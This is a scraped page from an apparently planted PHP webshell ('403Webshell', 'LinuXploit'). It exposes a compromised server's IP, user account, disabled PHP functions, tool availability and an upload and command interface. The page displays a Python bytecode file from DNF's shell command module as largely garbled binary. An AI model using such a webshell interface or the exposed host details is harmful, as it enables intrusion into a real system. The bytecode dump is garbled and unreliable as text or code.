403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.12/site-packages/dnf/cli/commands/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.12/site-packages/dnf/cli/commands/__pycache__/shell.cpython-312.pyc
�

�(fl&����ddlmZddlmZmZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZe	jd�Z
Gd�de�ZGd�dej ej"�Zy)	�)�commands)�_�ucdN�dnfc��eZdZdZdZdZdZy)�ShellDemandSheetTN)�__name__�
__module__�__qualname__�available_repos�	resolving�	root_user�sack_activation���;/usr/lib/python3.12/site-packages/dnf/cli/commands/shell.pyrr%s���O��I��I��Orrc���eZdZdZed�jejj��Z	ddddddddd	d
d�
Z
d�Zed
��Z
d�Zd�Zd�Zd�Zdd�Zdd�Zdd�Zdd�Zd�Zdd�Zdd�Zdd�Zy)�ShellCommand)�shell�shzrun an interactive {prog} shell��prog�repo�quit�ts_run�transaction�config�resolve�help)
r�
repository�exitr�run�tsrr�
resolvedeprc��tjj||�tjj|�d|_y)Nz> )r�Command�__init__�cmd�Cmd�prompt)�self�clis  rr'zShellCommand.__init__=s1�����!�!�$��,����������rc��|jddtd�td�jtjj
����y)N�script�?�SCRIPTzScript to run in {prog} shellr)�nargs�metavarr)�add_argumentr�formatr�util�MAIN_PROG_UPPER)�parsers r�
set_argparserzShellCommand.set_argparserBsG�����H�C��8��!"�#B�!C�!J�!J�%(�X�X�%=�%=�"K�"?�	�	@rc
�\�|jj}t�|j_t|�D]5}|j	d�r�	t|jj|��7y#t$r.t|jj|t||��Y�owxYw)N�__)r,�demandsr�dir�
startswith�getattr�AttributeError�setattr)r+�default_demands�attrs   r�	configurezShellCommand.configureHs����(�(�*�*��+�-�������(�D����t�$��
P�����(�(�$�/�	)��
"�
P�����(�(�$����0N�O�
P�s� A4�44B+�*B+c��|jjr&|j|jj�y|j�y�N)�optsr.�_run_script�cmdloop�r+s rr"zShellCommand.runUs0���9�9������T�Y�Y�-�-�.��L�L�Nrc��|jj�d|j_|jj�yrE)�base�_finalize_base�_transaction�	fill_sackrIs r�_cleanzShellCommand._clean[s.���	�	� � �"�!%��	�	���	�	���rc�:�|r|dk(ry|dk(rd}	tj|�}|jjjd��|jjj
|�}|jdk(ry|j|jvr0t|d|j|jz�|dd�y|jjj|j�}|��||j�}	|jjj||�}	tj|jj �|j_|j"�|j$�y|j�y#|j�YyxYw#t$rYywxYw#t&j(j*$r7}t,j/t1d	�d
zt3|�z�Yd}~yd}~wwxYw)N�
�EOFrF)�reset_usagerr��Error:� )�shlex�split�_helpr,�	optparserr'�parse_main_args�command�MAPPINGr>�cli_commands�get�parse_command_args�
SystemExit�copy�deepcopyr;rCr"r�
exceptions�Error�logger�errorrr)r+�line�s_linerF�cmd_clsr(�es       r�onecmdzShellCommand.onecmd`s����t�t�|���5�=��D�	��[�[��&�F�
	
�����#�#��#�6��x�x�!�!�1�1�&�9���<�<�7�"���<�<�4�<�<�'�;�G�D�#����T�\�\� :�:�;�F�1�3�K�H��h�h�+�+�/�/����=�G��"��d�h�h�'����8�8�-�-�@�@��f�M�D�
�&*�m�m�D�H�H�4D�4D�&E�C�G�G�O�!�C�M�M�O��C�G�G�I�
�
�
���;	��J�J�L���"������~�~�+�+���L�L��8��s�!2�S��V�!;�<����s6�F �
&F7�4AG� F4�7	G�G�H�#-H�HNc��d�}|rt|�dkDr|jd�y|d}t|�dk(r|dnd}|jd�}|dk7rf|d|}||dzd}|jjj|�}|D]}||||��|s tjtd�|�yy||||jj�y)	Nc���|rt|||�y	tdj|t|t	|����y#t
j
td��YyxYw)Nz{}: {}zUnsupported key value.)r@�printr4r>�strrf�warningr)�key�val�confs   r�print_or_setz*ShellCommand._config.<locals>.print_or_set�sO�����c�3�'�@��(�/�/�#�w�t�S��X�/F�G�H��@��N�N�1�%=�#>�?�s�.A� A#�rrrT�.���zCould not find repository: %s)
�lenrY�findrK�repos�get_matchingrfrqrrt)	r+�argsrurrrs�period�	repo_namer{rs	         r�_configzShellCommand._config�s���	@��s�4�y�1�}��J�J�x� ���1�g���T��a��d�1�g�T�����#����R�<��G�V��I��f�Q�h�i�.�C��I�I�O�O�0�0��;�E����S�#�t�,������q�!@�A�(�*��
��c�4�9�9�>�>�2rc��t|t�rt|�dkDr|dn|}d}|r�|dk(rtd�j	|�}n�|dk(rtd�j	|�}n�|dvrtd�j	|�}n}|d	k(rtd
�j	|�}n]|dvrtd�j	|�}n>|d
k(rtd�j	|�}n|dvrtd�j	|�}|s/|j
jj�td�}td|z�y)z�Output help information.

        :param args: the command to output help information about. If
           *args* is an empty, general help will be output.
        rNrz�{} arg [value]
  arg: debuglevel, errorlevel, obsoletes, gpgcheck, assumeyes, exclude,
        repo_id.gpgcheck, repo_id.exclude
    If no value is given it prints the current value.
    If value is given it sets that value.rz{} [command]
    print help)rr z�{} arg [option]
  list: lists repositories and their status. option = [all | id | glob]
  enable: enable repositories. option = repository id
  disable: disable repositories. option = repository idr$z"{}
    resolve the transaction set)rr#zy{} arg
  list: lists the contents of the transaction
  reset: reset (zero-out) the transaction
  run: run the transactionr"z{}
    run the transaction)r!rz{}
    exit the shella�Shell specific arguments:

config                   set config options
help                     print help
repository (or repo)     enable, disable or list repositories
resolvedep               resolve the transaction set
transaction (or ts)      list, reset or run the transaction set
run                      resolve and run the transaction set
exit (or quit)           exit the shellrQ)	�
isinstance�listryrr4r,rZ�
print_helpro)r+r}�arg�msgs    rrYzShellCommand._help�sj��$�D�$�/�C��I��M�d�1�g�t������h���-�.�/5�f�S�k�	��������6�#�;���.�.��;�<�=C�F�3�K��
��$��#�$�$*�F�3�K���-�-���� &�v�c�{��
������"�F�3�K���(�(�����v�c�{����H�H���)�)�+��+�,�C�	�d�S�j�rc�N�|r|dnd}|dvr'|jddj|dd�z�y|dvr�|jjj}d}|ddD]�}|j|�}|rt
||��d}�*tjtd	�dztd
�z|jjjj|����|r|jj�d|j_y|jd�y)Nr�r�Nz	repolist rVrT)�enable�disableFTrUzUnknown repo: '%s'r)rl�joinr,rKr{r|r>rf�criticalr�output�term�boldrN�_compsrY)r+r}r(r{rNr�rs       r�_repozShellCommand._repo�s���d�1�g�4���.� ��K�K��c�h�h�t�A�B�x�&8�8�9�
�)�
)��H�H�M�M�'�'�E��I��Q�S�	���&�&�t�,���#�G�A�s�O�%� $�I��O�O�A�h�K�#�$5��:N�8O�$O�$(�I�I�$4�$4�$9�$9�$>�$>�t�$D�F�
"���	�	�#�#�%� $�D�I�I��
�J�J�v�rc��	|jjj|jjj�y#t
jj$r}t|�Yd}~yd}~wwxYwrE)	r,rKrr;�
allow_erasingrrd�
DepsolveErrorro)r+r}rks   r�_resolvezShellCommand._resolve�sP��	��H�H�M�M�!�!�$�(�(�"2�"2�"@�"@�A���~�~�+�+�	��!�H�H��	�s�AA�A8�#A3�3A8c��	t|d�5}|j�}|D]%}|jd�r�|j|��'	ddd�y#1swYyxYw#t$rdt
j
td�|jjjj|��tjd�YywxYw)Nr��#z!Error: Cannot open %s for readingrT)�open�	readlinesr=rl�IOErrorrf�inforrKr�r�r��sysr!)r+�file�fd�linesrhs     rrGzShellCommand._run_script�s���	��d�C��B������!�D��?�?�3�/����D�)�"�!����
�	��K�K��=�>��	�	�@P�@P�@U�@U�@Z�@Z�[_�@`�a��H�H�Q�K�	�s4�A�'A�A�
A�A�A�A�A*C�Cc��|r|dnd}|dk(r|j�y|j�|dvrf|jjrO|jjj|jj�}tj|�yy|dk(rJ	|jj�tjtd��|j�y|jd�y#tjj$r7}tjtd�dzt|�z�Yd}~�rd}~wwxYw)	Nr�resetr�r"z	Complete!rUrVr)rOr�rKrMr��list_transactionrfr��do_transactionrrrdrergrrY)r+r}r(�outrks     rrMzShellCommand._transaction	s����d�1�g�4���'�>��K�K�M���
�
���.� ��y�y�%�%��i�i�&�&�7�7��	�	�8N�8N�O�����C� �&��E�\�
,��	�	�(�(�*����A�k�N�+��K�K�M�
�J�J�}�%���>�>�'�'�
9����Q�x�[�3�.��Q��7�8�8��
9�s� C;�;E�-E
�
Ec�(�|jdg�y)Nr")rM�r+r}s  r�_ts_runzShellCommand._ts_run"s�����5�'�"rc�j�tjtd��tjd�y)Nz
Leaving Shellr)rfr�rr�r!r�s  r�_quitzShellCommand._quit%s�����A�o�&�'�����rrE)r	r
r�aliasesrr4rr5r6�summaryr]r'�staticmethodr8rCr"rOrlr�rYr�r�rGrMr�r�rrrrr,s����G��1�2�9�9�s�x�x�?W�?W�9�X�G��#����"�+�!�&��
�G��
�@��@�
P���
$�L3�:9�v�4�	�&�2#�rr)�dnf.clir�dnf.i18nrr�dnf.utilrr(rb�loggingrWr��	getLoggerrf�objectrr&r)rrrr�<module>r�s\��*���
��
���
�
��	�	�5�	!���v��{�8�#�#�S�W�W�{r

Youez - 2016 - github.com/yon3zu
LinuXploit